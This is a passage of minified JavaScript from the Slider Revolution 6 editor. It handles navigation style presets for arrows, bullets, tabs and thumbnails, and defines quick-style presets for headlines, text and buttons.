#rs_ne_markup_css_button_wrap").hide(),jQuery("#rs_ne_cssmeta_config").hide(),jQuery("#rs_ne_cssmeta_values").show(),RVS.F.pickMarkupCssMode(document.getElementById("rs_ne_mcss_thecsseditor")),s(e.dataset.type),jQuery("#rs_ne_factory_list .rs_ne_nav_skin").first().trigger("click")},RVS.F.setNavPresetValues=function(e){var t=RVS.SLIDER.settings.nav[e.type];if("default"===t.preset)for(var i in RVS.nav[e.type][t.style].placeholders)RVS.nav[e.type][t.style].placeholders.hasOwnProperty(i)&&RVS.F.updateSliderObj({path:"settings.nav."+e.type+".presets",val:{}});else{var a=RVS.nav[e.type][t.style].presets[t.preset].values;for(var r in a)a.hasOwnProperty(r)&&(-1===r.indexOf("-def")?RVS.F.updateSliderObj({path:"settings.nav."+e.type+".presets."+r,val:a[r]}):"on"!==a[r]&&!0!==a[r]&&"true"!==a[r]||RVS.F.updateSliderObj({path:"settings.nav."+e.type+".presets."+r,val:!0}))}RVS.F.updateNavStyleSelection({init:!1,type:e.type})},RVS.F.updatePresetInputs=function(e){var t="slide"===e.env?RVS.SLIDER[RVS.S.slideId].slide.nav[e.type]:RVS.SLIDER.settings.nav[e.type],i="slide"===e.env?jQuery("#sl_"+e.type+"_styles_fieldset"):jQuery("#sr_"+e.type+"_styles_fieldset"),a="slide"===e.env?document.getElementById("form_slide_nav_"+e.type):document.getElementById("form_nav_"+e.type+"_style");RVS.SLIDER.settings.nav[e.type].style=void 0===RVS.nav[e.type][RVS.SLIDER.settings.nav[e.type].style]?"arrows"===e.type?1e3:"bullets"===e.type?3e3:"thumbs"===e.type?2e3:4e3:RVS.SLIDER.settings.nav[e.type].style;var r,s,o,n,l,d,S=RVS.nav[e.type][RVS.SLIDER.settings.nav[e.type].style].placeholders,c="slide"===e.env?void 0:RVS.SLIDER.settings.nav[e.type].preset,p=void 0!==c&&"default"!==c&&void 0!==RVS.nav[e.type][RVS.SLIDER.settings.nav[e.type].style].presets[c]?RVS.nav[e.type][RVS.SLIDER.settings.nav[e.type].style].presets[c].values:{},u="slide"===e.env?"sl_"+e.type+"_":"sr_"+e.type+"_",R="slide"===e.env?RVS.S.slideId+".slide.":"settings.",V="slide"===e.env?"slideinput":"sliderinput",m=RVS.F.cF();for(var f in t.presets=void 0===t.presets?{}:t.presets,S)if(S.hasOwnProperty(f)){s=void 0!==p[r=S[f]]?p[r]:r.data,o=!1,"default"!==t.preset&&void 0!==t.presets&&void 0!==t.presets[f]?(s=t.presets[f],o=t.presets[f+"-def"]):(t.presets[f]=s,t.presets[f+"-def"]=o),o=(n=y(o))?" checked='checked' ":"";var g=RVS.F.cE({t:"row",cN:"directrow navpresetrow"}),h=RVS.F.cE({t:"onelong"}),v=RVS.F.cE({t:"oneshort"}),_=RVS.F.cE({t:"label_a"}),L=RVS.F.cE({t:"label_icon"}),w=RVS.F.cE({t:"input",type:"checkbox",id:u+f+"-def",cN:"presetToCustom nav_"+e.type+"_custom_defaults "+V,ds:{evt:"redrawNavigation",evtparam:e.type,r:"nav."+e.type+".presets."+f+"-def"}});switch(_.innerText=r.title,w.checked=n,h.appendChild(_),v.appendChild(L),v.appendChild(w),g.appendChild(h),g.appendChild(v),r.type){case"font-family":var b=RVS.F.cE({t:"select",cN:"navstyleinput searchbox tos2 presetToCustom "+F,id:u+f,ds:{evt:"redrawNavigation",evtparam:e.type,theme:"minl120",r:R+"nav."+e.type+".presets."+f}});for(var I in h.appendChild(b),RVS.LIB.FONTS)RVS.LIB.FONTS.hasOwnProperty(I)&&"Dont Show Me"!==RVS.LIB.FONTS[I].label&&b.appendChild(RVS.F.CO(RVS.LIB.FONTS[I].label,RVS.LIB.FONTS[I].label));b.value=s;break;case"icon":case"custom":var F="";try{RVS.F.isNumeric(parseInt(s,0))&&(F=" valueduekeyboard")}catch(e){}if((d=RVS.F.cE({t:"input",type:"text",id:u+f,cN:"presetToCustom"+F+" navstyleinput",ds:{evt:"redrawNavigation",evtparam:e.type,r:R+"nav."+e.type+".presets."+f}})).value=s,"icon"===r.type){(l=RVS.F.cE({cN:"input_presets_wrap"})).appendChild(RVS.F.cI({cN:"input_presets_dropdown",c:"more_vertical"}));let e=RVS.F.cE({cN:"input_presets",ds:{insertinto:u+f}});e.innerHTML='<div class="font_icon_subcontainer"><i class="nav_preseticon_pick rs_ne_icon_e817 revicon-left-dir" data-content="\\e817"></i><i class="nav_preseticon_pick rs_ne_icon_e818 revicon-right-dir" data-content="\\e818"></i><i class="nav_preseticon_pick rs_ne_icon_e819 revicon-left-open" data-content="\\e819"></i><i class="nav_preseticon_pick rs_ne_icon_e81a revicon-right-open" data-content="\\e81a"></i><i class="nav_preseticon_pick rs_ne_icon_e820 revicon-angle-left" data-content="\\e820"></i><i class="nav_preseticon_pick rs_ne_icon_e81d revicon-angle-right" data-content="\\e81d"></i><i class="nav_preseticon_pick rs_ne_icon_e81f revicon-left-big" data-content="\\e81f"></i><i class="nav_preseticon_pick rs_ne_icon_e81e revicon-right-big" data-content="\\e81e"></i><i class="nav_preseticon_pick rs_ne_icon_e82a revicon-left-open-1" data-content="\\e82a"></i><i class="nav_preseticon_pick rs_ne_icon_e82b revicon-right-open-1" data-content="\\e82b"></i><i class="nav_preseticon_pick rs_ne_icon_e822 revicon-left-open-mini" data-content="\\e822"></i><i class="nav_preseticon_pick rs_ne_icon_e823 revicon-right-open-mini" data-content="\\e823"></i><i class="nav_preseticon_pick rs_ne_icon_e824 revicon-left-open-big" data-content="\\e824"></i><i class="nav_preseticon_pick rs_ne_icon_e825 revicon-right-open-big" data-content="\\e825"></i><i class="nav_preseticon_pick rs_ne_icon_e836 revicon-left" data-content="\\e836"></i><i class="nav_preseticon_pick rs_ne_icon_e826 revicon-right" data-content="\\e826"></i><i class="nav_preseticon_pick rs_ne_icon_e82e revicon-left-open-outline" data-content="\\e82e"></i><i class="nav_preseticon_pick rs_ne_icon_e82f revicon-right-open-outline" data-content="\\e82f"></i><i class="nav_preseticon_pick rs_ne_icon_e82c revicon-left-open-2" data-content="\\e82c"></i><i class="nav_preseticon_pick rs_ne_icon_e82d revicon-right-open-2" data-content="\\e82d"></i></div>',l.appendChild(e),l.prepend(d),h.appendChild(l)}else h.appendChild(d);break;case"color":case"color-rgba":s.indexOf(",")>=0&&-1==s.indexOf("(")&&(s=s.split(",").length>3?"rgba("+s+")":"rgb("+s+")"),g.className="directrow",(d=RVS.F.cE({t:"input",type:"text",id:u+f,cN:"navstyleinput presetToCustom my-color-field",ds:{evt:"redrawNavigation",evtparam:e.type,r:R+"nav."+e.type+".presets."+f,visible:"true",editing:RVS.F.capitalise(e.type)+" "+r.title,navcolor:"1",mode:"single"}})).name=f,d.value=s,h.appendChild(d)}m.appendChild(g)}for(var D in requestAnimationFrame(function(){i[0].innerHTML="",i[0].appendChild(m),i.find(".navstyleinput.searchbox.tos2.presetToCustom ").ddTP("destroy").ddTP({placeholder:"Enter or Select"}),RVS.F.initTpColorBoxes(i.find(".navstyleinput.presetToCustom.my-color-field")),RVS.F.initOnOff(i),""===i[0].innerHTML?a.classList.add("hide_while_empty"):a.classList.remove("hide_while_empty")}),t.presets){if(t.presets.hasOwnProperty(D))void 0===S[D.replace("-def","")]&&delete t.presets[D]}},RVS.F.updateNavStyleSelection=function(e){c({init:e.init,navobj:RVS.nav[e.type][RVS.SLIDER.settings.nav[e.type].style],type:e.type,presetChange:e.presetChange}),RVS.F.drawNavigation({type:e.type,init:e.init,presetChange:e.presetChange})},RVS.F.drawNavigation=function(r){if(void 0!==r&&0!=RVS.SLIDER.slideIDs.length){var s=RVS.SLIDER.settings.nav[r.type],o=void 0!==r.style?r.style:s.style,n=RVS.nav[r.type][o],l=RVS.SLIDER.slideIDs.length>0?RVS.SLIDER.slideIDs[1]:RVS.SLIDER.slideIDs[0],d=RVS.SLIDER.slideIDs[RVS.SLIDER.slideIDs.length-1];if(void 0!==n&&void 0!==n.markup){var S=RVS.F.sanitize_input(n.handle.toLowerCase()),c=void 0!==n.css?p({color:r.color,attribute:r.attribute,type:r.type,handle:o,default:r.default}):"";if("arrows"===r.type){var R,V;e.attr("class","aable markable tparrows tp-leftarrow "+S),t.attr("class","aable markable tparrows tp-rightarrow "+S),R=V=n.markup;var y=u({id:d}),m=u({id:l});R=R.replace("##title##",void 0===RVS.SLIDER[l]?"Title":RVS.SLIDER[l].slide.title),V=V.replace("##title##",void 0===RVS.SLIDER[d]?"Title":RVS.SLIDER[d].slide.title),e.html(c+V),t.html(R),e.find(".tp-arr-imgholder").css(y),e.find(".tp-arr-imgholder").attr("id","arrows_"+d),t.find(".tp-arr-imgholder").css(m),t.find(".tp-arr-imgholder").attr("id","arrows_"+l),RVS.F.dragMe({element:e,input:{x:jQuery("#nav_arrows_left_offsetx"),y:jQuery("#nav_arrows_left_offsety")},updateInput:!0,attributeRoot:"settings.",callEvent:"sliderNavPositionUpdate",callEventParam:"arrows",forms:["*navlayout*#form_nav_arrows:#sr_na_arr_12"]}),RVS.F.dragMe({element:t,input:{x:jQuery("#nav_arrows_right_offsetx"),y:jQuery("#nav_arrows_right_offsety")},updateInput:!0,attributeRoot:"settings.",callEvent:"sliderNavPositionUpdate",callEventParam:"arrows",forms:["*navlayout*#form_nav_arrows:#sr_na_arr_13"]})}else if("bullets"===r.type){i.data("cname",S),i.attr("class","aable markable tp-bullets "+S+" nav-dir-"+s.direction+" nav-pos-ver-"+s.vertical+" nav-pos-hor-"+s.horizontal),i.html(c);for(var f=n.markup,g=0;g<=RVS.SLIDER.slideIDs.length-1;g++){var h=RVS.SLIDER.slideIDs[g],v=f.replace("##title##",RVS.SLIDER[h].slide.title),_=0==g?"selected":"",L=jQuery('<div class="tp-bullet '+_+'">'+v+"</div>");L.find(".tp-bullet-image").css(u({id:h})).attr("id","bullets"+h),i.append(L)}RVS.F.dragMe({element:i,input:{x:jQuery("#nav_bullets_offsetx"),y:jQuery("#nav_bullets_offsety")},updateInput:!0,attributeRoot:"settings.",callEvent:"sliderNavPositionUpdate",callEventParam:"bullets",forms:["*navlayout*form_nav_bullets:#sr_na_bul_11"]})}else if("tabs"===r.type||"thumbs"===r.type){r.presetChange?(s.width=void 0!==n.dim.width?n.dim.width:s.width,s.height=void 0!==n.dim.height?n.dim.height:s.height,jQuery("#nav_"+r.type+"_width").val(s.width),jQuery("#nav_"+r.type+"_height").val(s.height)):tpGS.gsap.set(a[r.type].self,{background:window.RSColor.get(s.wrapperColor)}),a[r.type].self.data("cname",S),a[r.type].inner.html(c);for(f=n.markup,g=0;g<=Math.min(s.amount,RVS.SLIDER.slideIDs.length-1);g++){h=RVS.SLIDER.slideIDs[g],v=f.replace("##title##",RVS.SLIDER[h].slide.title),_=0==g?"selected":"";for(var w=0;w<10;w++){var b=void 0!==RVS.SLIDER[h].slide.info.params[w]?RVS.SLIDER[h].slide.info.params[w].val:"";void 0!==b&&b.length>0&&(v=v.replace("##param"+w+"##",b))}var I=jQuery('<div class="'+a[r.type].single+" "+_+'">'+v+"</div>");I.find("."+a[r.type].single+"-image").css(u({id:h})).attr("id",r.type+"_"+h),a[r.type].inner.append(I)}var F="tabs"==r.type?"*navlayout*#form_nav_tabs:#sr_na_tab_11":"*navlayout*#form_nav_thumbs:#sr_na_thumb_11";RVS.F.dragMe({element:a[r.type].self,input:{x:jQuery("#nav_"+r.type+"_offsetx"),y:jQuery("#nav_"+r.type+"_offsety")},updateInput:!0,attributeRoot:"settings.",callEvent:"sliderNavPositionUpdate",callEventParam:r.type,forms:[F]})}}RVS.F.sliderNavPositionUpdate({type:r.type})}},RVS.F.sliderNavPositionUpdate=function(e){requestAnimationFrame(function(){RVS.F.sliderNavPositionUpdateRAF(e)})},RVS.F.sliderNavPositionUpdateRAF=function(r){var s=RVS.SLIDER.settings.nav[r.type];switch(r.type){case"arrows":s.set&&"hero"!==RVS.SLIDER.settings.type?(e.show(),t.show()):(e.hide(),t.hide());break;case"bullets":s.set&&"hero"!==RVS.SLIDER.settings.type?i.show():i.hide();break;case"tabs":case"thumbs":s.set&&"hero"!==RVS.SLIDER.settings.type?a[r.type].self.show():a[r.type].self.hide()}if(!1===s.set||"hero"===RVS.SLIDER.settings.type)return!1;if("arrows"===r.type)R(e,s.left),R(t,s.right);else if("bullets"===r.type)i.attr("class","aable markable tp-bullets "+i.data("cname")+" nav-dir-"+s.direction+" nav-pos-ver-"+s.vertical+" nav-pos-hor-"+s.horizontal),i.find(".tp-bullet").each(function(e){var t=jQuery(this),a=RVS.SLIDER.slideIDs.length,r=t.outerWidth()+parseInt(void 0===s.space?0:s.space,0),o=t.outerHeight()+parseInt(void 0===s.space?0:s.space,0);"vertical"===s.direction?(t.css({top:e*o+"px",left:"0px"}),i.css({height:(a-1)*o+t.outerHeight(),width:t.outerWidth()})):(t.css({left:e*r+"px",top:"0px"}),i.css({width:(a-1)*r+t.outerWidth(),height:t.outerHeight()}))}),R(i,s);else if("tabs"===r.type||"thumbs"===r.type){var o=Math.min(s.amount,RVS.SLIDER.slideIDs.length),n=parseInt(s.width,0)+parseInt(s.space,0),l=parseInt(s.height,0)+parseInt(s.space,0);s.width=parseInt(s.width),s.height=parseInt(s.height),a[r.type].self.attr("class","aable markable "+a[r.type].single+"s "+a[r.type].self.data("cname")+" nav-dir-"+s.direction+" nav-pos-ver-"+s.vertical+" nav-pos-hor-"+s.horizontal),tpGS.gsap.set(a[r.type].self,{padding:s.padding}),s.padding=parseInt(s.padding,0),a[r.type].inner.find("."+a[r.type].single).each(function(e){"vertical"===s.direction?tpGS.gsap.set(this,{top:e*l+"px",left:"0px",width:s.width+"px",height:s.height+"px"}):tpGS.gsap.set(this,{left:e*n+"px",top:"0px",width:s.width+"px",height:s.height+"px"})});var d="horizontal"===s.direction?s.width*o+s.space*(o-1)+parseInt(2*s.mhoffset):s.width+parseInt(2*s.mhoffset),S="horizontal"===s.direction?parseInt(s.height)+parseInt(2*s.mvoffset):s.height*o+s.space*(o-1)+parseInt(2*s.mvoffset),c={width:d+"px",height:S+"px",overwrite:"auto"},p={padding:s.mvoffset+"px "+s.mhoffset+"px",top:"auto",left:"auto",bottom:"auto",marginTop:"0px",marginBottom:"0px",right:"auto",y:"0%",x:"0px",width:d+"px",height:S+"px",overflow:"hidden",position:"relative",overwrite:"auto",marginLeft:"auto",marginRight:"auto"};if(!0===s.spanWrapper)switch(s.direction){case"horizontal":c.width=RVS.S.ulDIM.width-2*parseInt(s.padding,0)+"px",p.x=s.offsetX,p.marginLeft="center"===s.horizontal?"auto":"0px",p.marginRight="center"===s.horizontal?"auto":"0px","right"===s.horizontal&&(p.right=s.padding+"px",p.position="absolute"),"outer-bottom"===s.innerOuter?RVS.S.navOffset[r.type].bottom=parseInt(s.height,0)+2*s.padding:"outer-top"===s.innerOuter&&(RVS.S.navOffset[r.type].top=parseInt(s.height,0)+2*s.padding);break;case"vertical":c.height=RVS.S.ulDIM.height-2*parseInt(s.padding,0)+"px",p.marginTop="bottom"!==s.vertical?s.offsetY+"px":"0px",p.marginBottom="bottom"===s.vertical?-1*s.offsetY+"px":"0px","center"===s.vertical?(p.top="50%",p.y="-50%",p.position="absolute"):"bottom"===s.vertical&&(p.top="auto",p.bottom=s.padding+"px",p.position="absolute"),"outer-left"===s.innerOuter?RVS.S.navOffset[r.type].left=parseInt(s.width,0)+2*s.padding:"outer-right"===s.innerOuter&&(RVS.S.navOffset[r.type].right=parseInt(s.width,0)+2*s.padding)}tpGS.gsap.set(a[r.type].inner,{position:"relative"}),tpGS.gsap.set(a[r.type].self,c),tpGS.gsap.set(a[r.type].mask,p),R(a[r.type].self,s)}},RVS.F.saveDeleteNavPreset=function(e){var t=jQuery("#sr_"+e.type+"_style_preset").val(),i=RVS.F.sanitize_input(t),a={},r=RVS.SLIDER.settings.nav[e.type],s=RVS.nav[e.type][r.style],o="save"===e.mode?"create_navigation_preset":"delete_navigation_preset";if(""!==t&&"null"!==t&&null!==t){if("save"===e.mode){for(var n in r.presets)if(r.presets.hasOwnProperty(n)){var l=r.presets[n];if(n.indexOf("-def")>0&&("on"===l||!0===l||"true"===l)){var d=n.replace("-def","");a[d]=r.presets[d],a[n]=!0}}if(jQuery.isEmptyObject(a))return void RVS.F.showErrorMessage(RVS_LANG.no_nav_changes_done)}else"delete"===e.mode&&delete s.presets[i];var S="save"===e.mode?{navigation:r.style,name:t,handle:i,type:e.type,do_overwrite:!0,values:a}:{style_handle:r.style,handle:i,type:e.type};s.presets=void 0===s.presets||""===s.presets?{}:s.presets,"save"===e.mode&&(s.presets[t]={name:t,values:a}),RVS.F.ajaxRequest(o,S,function(e){}),c({init:!1,navobj:s,type:e.type,presetChange:!0}),r.preset="save"===e.mode?i:"default",RVS.F.setNavPresetValues({type:e.type})}else RVS.F.showErrorMessage(RVS_LANG.no_preset_name)},RVS.F.updateSlideBasedNavigationStyle=function(){"hero"!==RVS.F.type&&(RVS.SLIDER.settings.nav.arrows.set&&RVS.F.updatePresetInputs({type:"arrows",env:"slide"}),RVS.SLIDER.settings.nav.bullets.set&&RVS.F.updatePresetInputs({type:"bullets",env:"slide"}),RVS.SLIDER.settings.nav.thumbs.set&&RVS.F.updatePresetInputs({type:"thumbs",env:"slide"}),RVS.SLIDER.settings.nav.tabs.set&&RVS.F.updatePresetInputs({type:"tabs",env:"slide"}))},RVS.F.createNewNavigation=function(e){return{id:"new_"+RVS.nav.currentMaxid,name:"New "+e+" Navigation",css:"",markup:"",dim:{width:160,height:160},placeholders:{},presets:{},type:e,factory:!1,handle:"newnavclass_"+RVS.nav.currentMaxid}},RVS.F.migrateNavigation=function(e){RVS.nav=e}}(),
/*!
 * REVOLUTION 6.0.0 EDITOR QUICK STYLE JS
 * @version: 1.0 (01.07.2019)
 * @author ThemePunch
*/
RVS.LIB.QS=jQuery.extend(!0,RVS.LIB.QS,{headlines:[{fs:32,lh:36,ff:"Indie Flower",fw:"400",ls:1},{fs:35,lh:45,ff:"Raleway",fw:"300",ls:2},{fs:46,lh:60,ff:"Shadows Into Light",fw:"400",ls:-1},{fs:36,lh:40,ff:"Roboto",fw:"500",ls:1.5},{fs:40,fst:"italic",lh:44,ff:"Raleway",fw:"800",ls:2},{fs:40,lh:50,ff:"Arial",fw:"400",ls:0},{fs:40,lh:50,ff:"Roboto",fw:"900",ls:0,tt:"uppercase"},{fs:60,lh:70,ff:"Poppins",fw:"500",ls:"-1",tt:"uppercase"},{fs:80,lh:90,ff:"Poppins",fw:"800",ls:"-4"},{fs:80,lh:90,ff:"Montserrat",fw:"200",ls:"-0.2"},{fs:100,lh:110,ff:"Montserrat",fw:"100",ls:"-6"}],headlines_color:"#fff",content_color:"#fff",content:[{fs:14,lh:24,ff:"Roboto",fw:"400",ls:1},{fs:16,lh:24,ff:"Poppins",fw:"400",ls:2},{fs:12,lh:20,ff:"Arial",fw:"400",content:"Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nullam vestibulum orci at leo consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore..."},{fs:15,lh:25,ff:"Montserrat",fw:"400",ls:2},{fs:13,lh:20,ff:"Open Sans",fw:"400",ls:2,tt:"uppercase"},{fs:16,lh:24,ff:"Roboto",fw:"500",ls:0},{fs:24,lh:30,ff:"Open Sans",fw:"300",ls:1,content:"Lorem ipsum dolor sit amet, consectetur adipiscing elit"}],buttons:[{showsize:"half",fs:15,fw:"500",ff:"Roboto",lh:32,pd:["0px","20px","0px","20px"],bg:"rgba(255,255,255,1)",color:"#000000",content:"Click Here",cls:"rev-btn",hc:"rgba(255,255,255,1)",hbg:"#000000",hs:300,ease:"power3.inOut"},{showsize:"half",fs:15,fw:"500",ff:"Roboto",lh:32,pd:["0px","20px","0px","20px"],br:["16px","16px","16px","16px"],bg:"rgba(255,255,255,1)",color:"#000000",content:"Click Here",cls:"rev-btn",hc:"rgba(255,255,255,1)",hbg:"#000000",hs:300,ease:"power3.inOut"},{showsize:"half",fs:20,fw:"500",ff:"Roboto",lh:50,pd:["0px","20px","0px","20px"],bg:"rgba(0,0,0,1)",color:"#ffffff",content:"Click Here",cls:"rev-btn",hc:"rgba(0,0,0,1)",hbg:"#ffffff",hs:200,ease:"power1.inOut"},{showsize:"half",fs:20,fw:"500",ff:"Roboto",lh:50,pd:["0px","20px","0px","20px"],br:["25px","25px","25px","25px"],bg:"rgba(0,0,0,1)",color:"#ffffff",content:"Click Here",cls:"rev-btn",hc:"rgba(0,0,0,1)",hbg:"#ffffff",hs:200,ease:"power1.inOut"},{showsize:"half",fs:17,fw:"500",ff:"Roboto",lh:40,pd:["0px","25px","0px","25px"],bg:"rgba(0,0,0,0)",bw:["1px","1px","1px","1px"],bs:"solid",bc:"rgba(255,255,255,0.35)",color:"#ffffff",content:"Click Here",cls:"rev-btn",hbc:"rgba(255,255,255,0.75)",hc:"rgba(255,255,255,1)",hs:300,ease:"power1.inOut"},{showsize:"half",fs:17,fw:"500",ff:"Roboto",lh:40,pd:["0px","25px","0px","25px"],br:["25px","25px","25px","25px"],bw:["1px","1px","1px","1px"],bs:"solid",bc:"rgba(255,255,255,0.35)",bg:"rgba(0,0,0,0)",color:"#ffffff",content:"Click Here",cls:"rev-btn",hbc:"rgba(255,255,255,0.75)",hc:"rgba(255,255,255,1)",hs:300,ease:"power1.inOut"},{showsize:"half",fs:17,fw:"500",ff:"Roboto",lh:40,pd:["0px","25px","0px","25px"],bg:"#007aff",color:"#ffffff",content:"Click Here",cls:"rev-btn",hs:300,hc:"#ffffff",hbg:"#007aff",hfb:"120%",hfbl:0,hfg:0,ease:"power3.inOut"},{showsize:"half",fs:17,fw:"500",ff:"Roboto",lh:40,pd:["0px","25px","0px","25px"],bg:"#007aff",color:"#ffffff",br:["25px","25px","25px","25px"],content:"Click Here",cls:"rev-btn",hs:300,hc:"#ffffff",hbg:"#007aff",hfb:"120%",hfbl:0,hfg:0,ease:"power3.inOut"},{fs:18,fw:"500",ff:"Roboto",lh:50,pd:["0px","40px","0px","40px"],bg:"#007aff",br:["3px","3px","3px","3px"],color:"#ffffff",content:"Click Here",cls:"rev-btn",hs:100,hc:"#ffffff",hbg:"#007aff",hfb:"120%",hfbl:0,hfg:0,ease:"power1.inOut"},{fs:20,fw:"500",ff:"Roboto",lh:55,pd:["0px","50px","0px","50px"],bg:"#007aff",br:["3px","3px","3px","3px"],color:"#ffffff",content:"Click Here",cls:"rev-btn",hs:100,hc:"#ffffff",hbg:"#007aff",hfb:"120%",hfbl:0,hfg:0,ease:"power1.inOut"},{fs:18,fw:"500",ff:"Roboto",lh:50,pd:["0px","40px","0px","40px"],bxb:"20px",bxc:"#461d7d",bxv:"5px",bxh:"0px",bxs:"0px",br:["5px","5px","5px","5px"],color:"#ffffff",content:"Click Here",cls:"rev-btn",hs:300,hc:"#ffffff",hbg:"{&type&:&linear&,&angle&:&181&,&colors&:[{&r&:110,&g&:74,&b&:185,&a&:1,&position&:0,&align&:&top&},{&r&:110,&g&:74,&b&:185,&a&:1,&position&:0,&align&:&bottom&},{&r&:94,&g&:53,&b&:177,&a&:1,&position&:100,&align&:&bottom&},{&r&:94,&g&:53,&b&:177,&a&:1,&position&:100,&align&:&top&}],&easing&:&sine.easeinout&,&strength&:100}",hfb:"120%",hfbl:0,hfg:0,ease:"power1.inOut",bg:"{&type&:&linear&,&angle&:&181&,&colors&:[{&r&:110,&g&:74,&b&:185,&a&:1,&position&:0,&align&:&top&},{&r&:110,&g&:74,&b&:185,&a&:1,&position&:0,&align&:&bottom&},{&r&:94,&g&:53,&b&:177,&a&:1,&position&:100,&align&:&bottom&},{&r&:94,&g&:53,&b&:177,&a&:1,&position&:100,&align&:&top&}],&easing&:&sine.easeinout&,&strength&:100}"},{fs:20,fw:"500",ff:"Roboto",lh:60,pd:["0px","60px","0px","60px"],bxb:"20px",bxc:"#461d7d",bxv:"5px",bxh:"0px",bxs:"0px",br:["5px","5px","5px","5px"],color:"#ffffff",content:"Click Here",cls:"rev-btn",hs:300,hc:"#ffffff",hbg:"{&type&:&linear&,&angle&:&181&,&colors&:[{&r&:110,&g&:74,&b&:185,&a&:1,&position&:0,&align&:&top&},{&r&:110,&g&:74,&b&:185,&a&:1,&position&:0,&align&:&bottom&},{&r&:94,&g&:53,&b&:177,&a&:1,&position&:100,&align&:&bottom&},{&r&:94,&g&:53,&b&:177,&a&:1,&position&:100,&align&:&top&}],&easing&:&sine.easeinout&,&strength&:100}",hfb:"120%",hfbl:0,hfg:0,ease:"power1.inOut",bg:"{&type&:&linear&,&angle&:&181&,&colors&:[{&r&:110,&g&:74,&b&:185,&a&:1,&position&:0,&align&:&top&},{&r&:110,&g&:74,&b&:185,&a&:1,&position&:0,&align&:&bottom&},{&r&:94,&g&:53,&b&:177,&a&:1,&position&:100,&align&:&bottom&},{&r&:94,&g&:53,&b&:177,&a&:1,&position&:100,&align&:&top&}],&easing&:&sine.easeinout&,&strength&:100}"},{fs:18,fw:"500",ff:"Roboto",lh:50,pd:["0px","40px","0px","40px"],bxb:"20px",bxc:"rgba(0,0,0,0.25)",bxv:"10px",bxh:"0px",bxs:"0px",br:["5px","5px","5px","5px"],color:"#ffffff",content:"Click Here",cls:"rev-btn",hs:300,hc:"#ffffff",hbg:"{&type&:&linear&,&angle&:&180&,&colors&:[{&r&:255,&g&:149,&b&:0,&a&:1,&position&:0,&align&:&top&},{&r&:255,&g&:149,&b&:0,&a&:1,&position&:0,&align&:&bottom&},{&r&:255,&g&:94,&b&:58,&a&:1,&position&:100,&align&:&bottom&},{&r&:255,&g&:94,&b&:58,&a&:1,&position&:100,&align&:&top&}],&easing&:&none&,&strength&:100}",hfb:"120%",hfbl:0,hfg:0,ease:"power1.inOut",bg:"{&type&:&linear&,&angle&:&180&,&colors&:[{&r&:255,&g&:149,&b&:0,&a&:1,&position&:0,&align&:&top&},{&r&:255,&g&:149,&b&:0,&a&:1,&position&:0,&align&:&bottom&},{&r&:255,&g&:94,&b&:58,&a&:1,&position&:100,&align&:&bottom&},{&r&:255,&g&:94,&b&:58,&a&:1,&position&:100,&align&:&top&}],&easing&:&none&,&strength&:100}"},{fs:20,fw:"500",ff:"Roboto",lh:60,pd:["0px","60px","0px","60px"],bxb:"20px",bxc:"rgba(0,0,0,0.25)",bxv:"10px",bxh:"0px",bxs:"0px",br:["5px","5px","5px","5px"],color:"#ffffff",content:"Click Here",cls:"rev-btn",hs:300,hc:"#ffffff",hbg:"{&type&:&linear&,&angle&:&180&,&colors&:[{&r&:255,&g&:149,&b&:0,&a&:1,&position&:0,&align&:&top&},{&r&:255,&g&:149,&b&:0,&a&:1,&position&:0,&align&:&bottom&},{&r&:255,&g&:94,&b&:58,&a&:1,&position&:100,&align&:&bottom&},{&r&:255,&g&:94,&b&:58,&a&:1,&position&:100,&align&:&top&}],&easing&:&none&,&strength&:100}",hfb:"120%",hfbl:0,hfg:0,ease:"power1.inOut",bg:"{&type&:&linear&,&angle&:&180&,&colors&:[{&r&:255,&g&:149,&b&:0,&a&:1,&position&:0,&align&:&top&},{&r&:255,&g&:149,&b&:0,&a&:1,&position&:0,&align&:&bottom&},{&r&:255,&g&:94,&b&:58,&a&:1,&position&:100,&align&:&bottom&},{&r&:255,&g&:94,&b&:58,&a&:1,&position&:100,&align&:&top&}],&easing&:&none&,&strength&:100}"},{fs:17,ff:"Roboto",lh:20,ls:1,tt:"uppercase",pd:["12px","35px","12px","35px"],br:["30px","30px","30px","30px"],bg:"rgba(0,0,0,0.75)",color:"#ffffff",content:'Click Here <i class="fa-chevron-right"></i>',cls:"rev-btn",hc:"rgba(0,0,0,1)",hbg:"#ffffff",hs:200},{fs:14,ff:"Roboto",lh:18,ls:1,tt:"uppercase",pd:["10px","30px","10px","30px"],br:["30px","30px","30px","30px"],bg:"rgba(0,0,0,0.75)",color:"#ffffff",content:'Click Here <i class="fa-chevron-right"></i>',cls:"rev-btn",hc:"rgba(0,0,0,1)",hbg:"#ffffff",hs:200},{fs:12,ff:"Roboto",lh:14,ls:1,tt:"uppercase",pd:["8px","20px","8px","20px"],br:["30px","30px","30px","30px"],bg:"rgba(0,0,0,0.75)",color:"#ffffff",content:'Click Here <i class="fa-chevron-right"></i>',cls:"rev-btn",hc:"rgba(0,0,0,1)",hbg:"#ffffff",hs:200},{fs:17,ff:"Roboto",lh:20,ls:1,tt:"uppercase",pd:["12px","35px","12px","35px"],br:["30px","30px","30px","30px"],bg:"rgba(0,0,0,0.75)",color:"#ffffff",content:'Click Here <i class="fa-chevron-right"></i>',cls:"rev-btn rev-hiddenicon",hc:"rgba(0,0,0,1)",hbg:"#ffffff",hs:200},{fs:14,ff:"Roboto",lh:18,ls:1,tt:"uppercase",pd:["10px","30px","10px","30px"],br:["30px","30px","30px","30px"],bg:"rgba(0,0,0,0.75)",color:"#ffffff",content:'Click Here <i class="fa-chevron-right"></i>',cls:"rev-btn rev-hiddenicon",hc:"rgba(0,0,0,1)",hbg:"#ffffff",hs:200},{fs:12,ff:"Roboto",lh:14,ls:1,tt:"uppercase",pd:["8px","20px","8px","20px"],br:["30px","30px","30px","30px"],bg:"rgba(0,0,0,0.75)",color:"#ffffff",content:'Click Here <i class="fa-chevron-right"></i>',cls:"rev-btn rev-hiddenicon",hc:"rgba(0,0,0,1)",hbg:"#ffffff",hs:200},{showsize:"third",fs:17,ff:"Roboto",lh:20,ls:1,tt:"uppercase",pd:["22px","14px","22px","14px"],br:["50%","50%","50%","50%"],color:"#ffffff",ignoreIntelligent:!0,content:"<span></span><span></span><span></span>",cls:"rev-burger 